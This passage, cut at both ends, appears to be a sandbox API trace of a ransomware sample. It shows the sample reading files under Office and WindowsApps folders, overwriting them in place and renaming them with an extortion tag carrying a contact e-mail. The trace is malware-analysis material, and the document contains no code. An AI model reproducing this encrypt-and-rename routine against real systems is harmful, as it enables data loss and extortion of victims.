CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1EN~1.FIR")) returned 0x6d5200 [0249.029] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0249.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enes\\msb1enes.its.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0249.029] GetProcessHeap () returned 0x630000 [0249.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74e78e0 [0249.030] GetProcessHeap () returned 0x630000 [0249.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74f2d10 [0249.030] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.030] ReadFile (in: hFile=0x648, lpBuffer=0x74e78e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74e78e0*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.870] GetProcessHeap () returned 0x630000 [0253.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0253.870] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.871] WriteFile (in: hFile=0x648, lpBuffer=0x74f2d10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74f2d10*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.871] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.871] WriteFile (in: hFile=0x648, lpBuffer=0x74fe10f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74fe10f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.366] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.366] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.366] CloseHandle (hObject=0x648) returned 1 [0254.366] GetProcessHeap () returned 0x630000 [0254.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74f2d10 | out: hHeap=0x630000) returned 1 [0254.366] GetProcessHeap () returned 0x630000 [0254.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74e78e0 | out: hHeap=0x630000) returned 1 [0254.370] GetProcessHeap () returned 0x630000 [0254.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0254.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d8f01cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xeed42, dwReserved0=0x95c7496, dwReserved1=0x74e78d8, cFileName="MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1EN~1.FIR")) returned 0x6d5340 [0254.388] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0254.388] Sleep (dwMilliseconds=0x1) [0254.406] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-100.png", len=0xa8 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-100.png") returned 1 [0254.406] GetProcessHeap () returned 0x630000 [0254.406] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0254.406] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.413] Sleep (dwMilliseconds=0x1) [0255.818] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF", len=0x6d | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF") returned 1 [0255.818] GetProcessHeap () returned 0x630000 [0255.818] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d2c) returned 0x6fe3bb0 [0255.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0259.748] CloseHandle (hObject=0x4e0) returned 1 [0259.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0259.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0259.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0259.953] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0259.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0259.953] GetProcessHeap () returned 0x630000 [0259.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x681) returned 0x74696b0 [0261.046] GetProcessHeap () returned 0x630000 [0261.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x681) returned 0x72729f0 [0261.047] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.047] ReadFile (in: hFile=0x4e0, lpBuffer=0x74696b0, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74696b0*, lpNumberOfBytesRead=0x673ff0c*=0x660, lpOverlapped=0x0) returned 1 [0261.054] GetProcessHeap () returned 0x630000 [0261.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0261.054] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.054] WriteFile (in: hFile=0x4e0, lpBuffer=0x72729f0*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72729f0*, lpNumberOfBytesWritten=0x673ff0c*=0x660, lpOverlapped=0x0) returned 1 [0261.055] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.055] WriteFile (in: hFile=0x4e0, lpBuffer=0x727304f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727304f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.055] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.055] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.055] CloseHandle (hObject=0x4e0) returned 1 [0261.055] GetProcessHeap () returned 0x630000 [0261.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72729f0 | out: hHeap=0x630000) returned 1 [0261.055] GetProcessHeap () returned 0x630000 [0261.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74696b0 | out: hHeap=0x630000) returned 1 [0261.055] GetProcessHeap () returned 0x630000 [0261.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0261.232] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x618bf1ba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x95c7496, dwReserved1=0x74696a8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5280 [0261.232] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0261.232] Sleep (dwMilliseconds=0x1) [0261.255] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\40.jpg", len=0x7c | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\40.jpg") returned 1 [0261.255] GetProcessHeap () returned 0x630000 [0261.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc4) returned 0x6fe3bb0 [0261.255] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\40.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\40.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.263] Sleep (dwMilliseconds=0x1) [0261.282] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", len=0x72 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned 1 [0261.283] GetProcessHeap () returned 0x630000 [0261.283] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0261.283] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.286] Sleep (dwMilliseconds=0x1) [0261.293] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x76 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0261.294] GetProcessHeap () returned 0x630000 [0261.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea8) returned 0x6fe3bb0 [0261.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.894] Sleep (dwMilliseconds=0x1) [0264.654] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm", len=0x7e | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm") returned 1 [0264.654] GetProcessHeap () returned 0x630000 [0264.654] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0264.654] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-GB\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-gb\\termsofservice.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.663] Sleep (dwMilliseconds=0x1) [0264.678] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-38.png", len=0x75 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-38.png") returned 1 [0264.679] GetProcessHeap () returned 0x630000 [0264.679] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce0) returned 0x6fe3bb0 [0264.679] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.686] Sleep (dwMilliseconds=0x1) [0264.740] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-38.png", len=0x76 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-38.png") returned 1 [0264.740] GetProcessHeap () returned 0x630000 [0264.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cac) returned 0x6fe3bb0 [0264.741] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.752] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-20.png", len=0x76 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-20.png") returned 1 [0264.752] GetProcessHeap () returned 0x630000 [0264.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c88) returned 0x6fe3bb0 [0264.753] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.772] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png", len=0x74 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png") returned 1 [0264.772] GetProcessHeap () returned 0x630000 [0264.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c5c) returned 0x6fe3bb0 [0264.772] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basesmalltile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.773] Sleep (dwMilliseconds=0x1) [0264.790] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png", len=0x72 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png") returned 1 [0264.790] GetProcessHeap () returned 0x630000 [0264.790] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c38) returned 0x6fe3bb0 [0264.790] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\baseapplist.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.797] Sleep (dwMilliseconds=0x1) [0264.844] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF", len=0x70 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF") returned 1 [0264.844] GetProcessHeap () returned 0x630000 [0264.844] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c00) returned 0x6fe3bb0 [0264.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0264.915] CloseHandle (hObject=0x698) returned 1 [0264.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a24739, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a24739, 